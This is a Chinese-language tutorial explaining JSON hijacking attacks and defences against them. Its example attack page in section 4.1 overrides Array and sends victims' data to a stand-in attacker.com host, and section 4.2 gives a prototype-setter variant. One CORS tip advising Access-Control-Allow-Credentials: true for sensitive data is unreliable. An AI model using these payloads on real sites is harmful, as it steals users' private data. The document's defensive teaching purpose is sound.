暴漫之JSON_Hijacking
字数 1699 2025-08-29 08:32:18

JSON Hijacking 攻击分析与防御

1. 什么是JSON Hijacking

JSON Hijacking(JSON劫持)是一种针对Web应用程序的安全攻击方式,攻击者利用浏览器同源策略的特性,窃取从服务器返回的JSON格式数据。

2. 攻击原理

JSON Hijacking攻击主要利用以下几个技术点:

  1. 浏览器同源策略的例外:虽然浏览器禁止跨域读取数据,但允许跨域嵌入某些资源(如script标签)

  2. JSON数组的特殊性:当JSON数据以数组形式返回时,可以被JavaScript解释器直接执行

  3. JavaScript原型链污染:通过重写Array构造函数或原型方法窃取数据

3. 攻击场景

典型的JSON Hijacking攻击场景:

  • 目标API返回敏感JSON数组数据(如用户个人信息)
  • API未验证请求来源或未对响应做适当处理
  • 用户已登录目标网站,攻击者诱导用户访问恶意页面

4. 攻击示例

4.1 基本攻击方式

假设存在一个返回用户敏感信息的API:

https://victim.com/api/userinfo
返回数据:[{"id":1,"name":"admin","email":"admin@victim.com"}]

攻击者构造的恶意页面:

<script>
// 重写Array构造函数
function Array() {
  // 当JSON数据被解析时,这里的代码会执行
  var obj = this;
  // 通过定时器获取完整数据
  setTimeout(function() {
    // 将窃取的数据发送到攻击者服务器
    new Image().src = "http://attacker.com/steal?data=" + JSON.stringify(obj);
  }, 100);
}
</script>
<!-- 通过script标签加载目标API -->
<script src="https://victim.com/api/userinfo"></script>

4.2 现代浏览器下的变种

由于现代浏览器对原生对象重写做了限制,攻击者可能采用以下方式:

<script>
Object.defineProperty(Array.prototype, "0", {
  set: function(value) {
    // 当数组元素被设置时触发
    alert("Stolen: " + value);
  }
});
</script>
<script src="https://victim.com/api/userinfo"></script>

5. 防御措施

5.1 服务器端防御

  1. 禁止JSON数组响应

    • 将响应包装为JSON对象而非数组
    • 例如:{"data": [{"id":1,"name":"admin"}]} 代替 [{"id":1,"name":"admin"}]
  2. 添加前缀

    • 在JSON响应前添加无效字符,如while(1);)]}',\n
    • 示例:while(1);[{"id":1,"name":"admin"}]
  3. 设置Content-Type

    • 确保响应头包含Content-Type: application/json
    • 避免浏览器将响应当作JavaScript执行
  4. 使用CSRF Token

    • 要求请求中包含有效的CSRF令牌

5.2 客户端防御

  1. 使用POST而非GET请求

    • JSON数据应通过POST请求获取
  2. 验证请求来源

    • 检查OriginReferer头部
  3. 设置X-Content-Type-Options

    • 响应头中添加X-Content-Type-Options: nosniff

5.3 其他防御措施

  1. 启用CORS策略

    • 设置Access-Control-Allow-Origin为特定域名而非*
    • 对于敏感数据,考虑使用Access-Control-Allow-Credentials: true
  2. 使用自定义数据格式

    • 考虑使用非标准格式如MessagePack
  3. 实施SameSite Cookie属性

    • 设置SameSite=StrictSameSite=Lax

6. 检测方法

  1. 手动测试

    • 检查API是否返回JSON数组
    • 尝试通过script标签加载API端点
  2. 自动化工具

    • 使用Burp Suite等工具扫描JSON端点
    • 检查响应头和安全相关头部

7. 实际案例分析

7.1 历史漏洞

  • Gmail漏洞(2006年):攻击者可以通过JSON Hijacking获取Gmail联系人列表
  • Twitter漏洞(2010年):Twitter API曾受到JSON Hijacking攻击

7.2 现代框架的影响

现代前端框架(如React、Angular、Vue)通常使用XMLHttpRequest或Fetch API获取数据,这些API受同源策略限制,天然防御了JSON Hijacking。但开发者仍需注意:

  1. 避免直接使用<script>标签加载API
  2. 确保后端API有适当的安全措施

8. 总结

JSON Hijacking是一种利用浏览器特性窃取JSON数据的攻击方式,虽然现代浏览器和安全实践已减少其威胁,但仍需开发者注意:

  1. 永远不要以数组形式返回敏感JSON数据
  2. 实施适当的服务器端防御措施
  3. 结合其他安全机制如CSRF防护
  4. 定期进行安全审计和测试

通过理解攻击原理并实施多层防御,可以有效防止JSON Hijacking攻击。

JSON Hijacking 攻击分析与防御 1. 什么是JSON Hijacking JSON Hijacking(JSON劫持)是一种针对Web应用程序的安全攻击方式,攻击者利用浏览器同源策略的特性,窃取从服务器返回的JSON格式数据。 2. 攻击原理 JSON Hijacking攻击主要利用以下几个技术点: 浏览器同源策略的例外 :虽然浏览器禁止跨域读取数据,但允许跨域嵌入某些资源(如script标签) JSON数组的特殊性 :当JSON数据以数组形式返回时,可以被JavaScript解释器直接执行 JavaScript原型链污染 :通过重写Array构造函数或原型方法窃取数据 3. 攻击场景 典型的JSON Hijacking攻击场景: 目标API返回敏感JSON数组数据(如用户个人信息) API未验证请求来源或未对响应做适当处理 用户已登录目标网站,攻击者诱导用户访问恶意页面 4. 攻击示例 4.1 基本攻击方式 假设存在一个返回用户敏感信息的API: 攻击者构造的恶意页面: 4.2 现代浏览器下的变种 由于现代浏览器对原生对象重写做了限制,攻击者可能采用以下方式: 5. 防御措施 5.1 服务器端防御 禁止JSON数组响应 : 将响应包装为JSON对象而非数组 例如: {"data": [{"id":1,"name":"admin"}]} 代替 [{"id":1,"name":"admin"}] 添加前缀 : 在JSON响应前添加无效字符,如 while(1); 或 )]}',\n 示例: while(1);[{"id":1,"name":"admin"}] 设置Content-Type : 确保响应头包含 Content-Type: application/json 避免浏览器将响应当作JavaScript执行 使用CSRF Token : 要求请求中包含有效的CSRF令牌 5.2 客户端防御 使用POST而非GET请求 : JSON数据应通过POST请求获取 验证请求来源 : 检查 Origin 或 Referer 头部 设置X-Content-Type-Options : 响应头中添加 X-Content-Type-Options: nosniff 5.3 其他防御措施 启用CORS策略 : 设置 Access-Control-Allow-Origin 为特定域名而非 * 对于敏感数据,考虑使用 Access-Control-Allow-Credentials: true 使用自定义数据格式 : 考虑使用非标准格式如MessagePack 实施SameSite Cookie属性 : 设置 SameSite=Strict 或 SameSite=Lax 6. 检测方法 手动测试 : 检查API是否返回JSON数组 尝试通过script标签加载API端点 自动化工具 : 使用Burp Suite等工具扫描JSON端点 检查响应头和安全相关头部 7. 实际案例分析 7.1 历史漏洞 Gmail漏洞(2006年) :攻击者可以通过JSON Hijacking获取Gmail联系人列表 Twitter漏洞(2010年) :Twitter API曾受到JSON Hijacking攻击 7.2 现代框架的影响 现代前端框架(如React、Angular、Vue)通常使用XMLHttpRequest或Fetch API获取数据,这些API受同源策略限制,天然防御了JSON Hijacking。但开发者仍需注意: 避免直接使用 <script> 标签加载API 确保后端API有适当的安全措施 8. 总结 JSON Hijacking是一种利用浏览器特性窃取JSON数据的攻击方式,虽然现代浏览器和安全实践已减少其威胁,但仍需开发者注意: 永远不要以数组形式返回敏感JSON数据 实施适当的服务器端防御措施 结合其他安全机制如CSRF防护 定期进行安全审计和测试 通过理解攻击原理并实施多层防御,可以有效防止JSON Hijacking攻击。